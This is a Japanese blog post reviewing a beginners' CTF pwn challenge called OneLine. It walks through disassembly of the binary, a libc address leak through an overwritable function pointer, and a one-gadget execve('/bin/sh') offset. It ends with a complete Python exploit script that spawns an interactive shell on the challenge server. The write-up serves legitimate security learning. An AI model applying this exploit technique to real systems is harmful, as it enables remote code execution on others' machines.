1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

SECCON Beginners CTF 2019 の復習

Posted at

はじめに

SECCON Beginners CTF 2019に出場し,1220点で84位でした.
無題.png
Pwnable問題が全く解けなかったので,現在いろいろな方のWrite upを見て勉強中です.
理解確認も込めて復習した内容を記載したいと思います.

OneLine

参考にした記事

https://ptr-yudai.hatenablog.com/entry/2019/05/26/150937
https://qiita.com/xio_yae/items/8047b9b3cf60d57b4bc7
http://katc.hateblo.jp/entry/2016/10/28/124025
https://osanamity.net/2018/11/06/110940
https://qiita.com/kusano_k/items/c1c7ebec353d0bfdf1eb

まずアセンブリを読んで見ます.

$ objdump -d -M intel oneline
000000000000086d <main>:
 86d:   55                      push   rbp
 86e:   48 89 e5                mov    rbp,rsp
 871:   48 83 ec 10             sub    rsp,0x10
 875:   be 01 00 00 00          mov    esi,0x1
 87a:   bf 28 00 00 00          mov    edi,0x28
 87f:   e8 7c fe ff ff          call   700 <calloc@plt>             // rax = calloc(40, 1)
 884:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax      // *(rbp-0x8) = rax bufferを初期化している
 888:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
 88c:   48 8b 15 45 07 20 00    mov    rdx,QWORD PTR [rip+0x200745]        # 200fd8 <write@GLIBC_2.2.5> // rdxにwriteのアドレスを入れている
 893:   48 89 50 20             mov    QWORD PTR [rax+0x20],rdx     // (1) bufferの33Byte目にはwriteのアドレスが格納される
 ...
 8a8:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
 8ac:   ba 28 00 00 00          mov    edx,0x28
 8b1:   48 89 c6                mov    rsi,rax
 8b4:   bf 00 00 00 00          mov    edi,0x0
 8b9:   e8 32 fe ff ff          call   6f0 <read@plt>               // (2) rax = read(0, buffer, 40)
 8be:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]      // raxにbufferの先頭アドレスを代入
 8c2:   48 8b 40 20             mov    rax,QWORD PTR [rax+0x20]     // (3) raxにbuffer+32つまり(bufferに何も入力がなければ)writeのアドレスが入る
 8c6:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
 8ca:   ba 28 00 00 00          mov    edx,0x28
 8cf:   48 89 ce                mov    rsi,rcx
 8d2:   bf 01 00 00 00          mov    edi,0x1
 8d7:   ff d0                   call   rax                          // (4) raxつまりwrite(1, buffer, 40)が呼ばれる
 8d9:   48 8d 3d f1 00 00 00    lea    rdi,[rip+0xf1]        # 9d1 <_IO_stdin_used+0x21>
 ...
 8fb:   e8 f0 fd ff ff          call   6f0 <read@plt>               // (5) eax = read(0, buffer, 40)
 ...
 91a:   ff d0                   call   rax                          // (6) buffer+32のアドレスにある命令が呼ばれる

上記プログラムは実行すると

$ ./oneline
You can input text here!
>> aa
aa
@ァ絨nce more again!
>> aa
aa

のように入力待ちとなったあと,入力した文字が表示されるというのが2回繰り返されるがこれは
(2)のreadで入力をbufferに格納
(3)で文字が32文字以内の場合は残り8Byteに格納されているwrite命令がraxに代入される
(4)raxが実行される
(5),(6)で同様
という流れで動くからです.試しに標準入力に入れる文字数を32と33で変更してみると(3),(4)の挙動がわかります(echo -nのnは改行文字を入れないオプション)

$ echo -n 12345678901234567890123456789012 | ./oneline
You can input text here!
>> 12345678901234567890123456789012@瞼Once more again!  // 入力文字列が表示される
$ echo -n 123456789012345678901234567890123 | ./oneline
You can input text here!                                // 入力文字列が表示されない
>> Once more again!
$

そうすると方針としては以下のようになります.

  1. 1回目のreadに空文字を入力すると33バイト目にwriteのアドレスが入った文字列が返ってくる
  2. writeのアドレス-libcのwriteのアドレスでlibcのベースとなる
  3. libcのベースのアドレス+/bin/shを起動する命令のアドレスを2回目のreadに食わせる
  4. (6)で/bin/shを起動する命令が実行される

libcのwriteのアドレスは以下で取得できます

$ nm -D libc-2.27.so | grep write
000000000008cea0 T _IO_do_write
...
0000000000110140 W write
00000000001166a0 W writev

/bin/shを起動する命令はsystem("/bin/sh")が簡単だが,今回

 90b:   8b 55 f4                mov    edx,DWORD PTR [rbp-0xc]
 90e:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
 912:   48 89 ce                mov    rsi,rcx
 915:   bf 01 00 00 00          mov    edi,0x1                      // edi = 1
 91a:   ff d0                   call   rax                          // (6)                 

raxにsystemのアドレスを渡すと第1引数が1となってしまいsystem("/bin/sh")が実行できないです.
そんな場合はOne-gadget RCEと呼ばれる手法を用いるそうです.
One-gadget RCEは特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行する箇所がlibcに存在するらしく,そこをraxに入れるという寸法です.
One-gadgetの探し方としては/bin/shのアドレスを直接入れるexecveを探せばよいそうで

$ strings -tx -a libc-2.27.so | grep "/bin/sh"
 1b3e9a /bin/sh
$ objdump -d libc-2.27.so | grep 1b3e9a -A 8 -B 8 | grep execve -B 8
   4f322:       48 8b 05 7f bb 39 00    mov    0x39bb7f(%rip),%rax        # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
   4f329:       48 8d 3d 6a 4b 16 00    lea    0x164b6a(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   4f330:       48 8d 74 24 40          lea    0x40(%rsp),%rsi
   4f335:       c7 05 a1 e2 39 00 00    movl   $0x0,0x39e2a1(%rip)        # 3ed5e0 <__abort_msg@@GLIBC_PRIVATE+0x8c0>
   4f33c:       00 00 00
   4f33f:       c7 05 9b e2 39 00 00    movl   $0x0,0x39e29b(%rip)        # 3ed5e4 <__abort_msg@@GLIBC_PRIVATE+0x8c4>
   4f346:       00 00 00
   4f349:       48 8b 10                mov    (%rax),%rdx
   4f34c:       e8 df 5a 09 00          callq  e4e30 <execve@@GLIBC_2.2.5>
--
   ...

上記の4f322からの命令がexecve("/bin/sh", NULL, environ)になるそうです.

以上を踏まえて攻撃手法をまとめると

  1. 1回目のreadに空文字を入力しwriteのアドレスを取得する
  2. writeのアドレス-libcのwriteのアドレスでlibcのベースを取得する
  3. 2回目のreadにlibcのベースのアドレス+4f322を入力する
    となります.
    実際のコードは以下です
import socket
import struct
import time
import telnetlib

s = socket.create_connection(("153.120.129.186", 10000))

time.sleep(1)
s.recv(40)
s.send(b"aaa")
d = s.recv(40)

write_addr = struct.unpack("<Q", d[0x20:])[0]

rce = write_addr - 0x110140 + 0x4f322

s.send(b"a"*0x20+struct.pack("<Q", rce))

t = telnetlib.Telnet()
t.sock = s
t.interact()
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?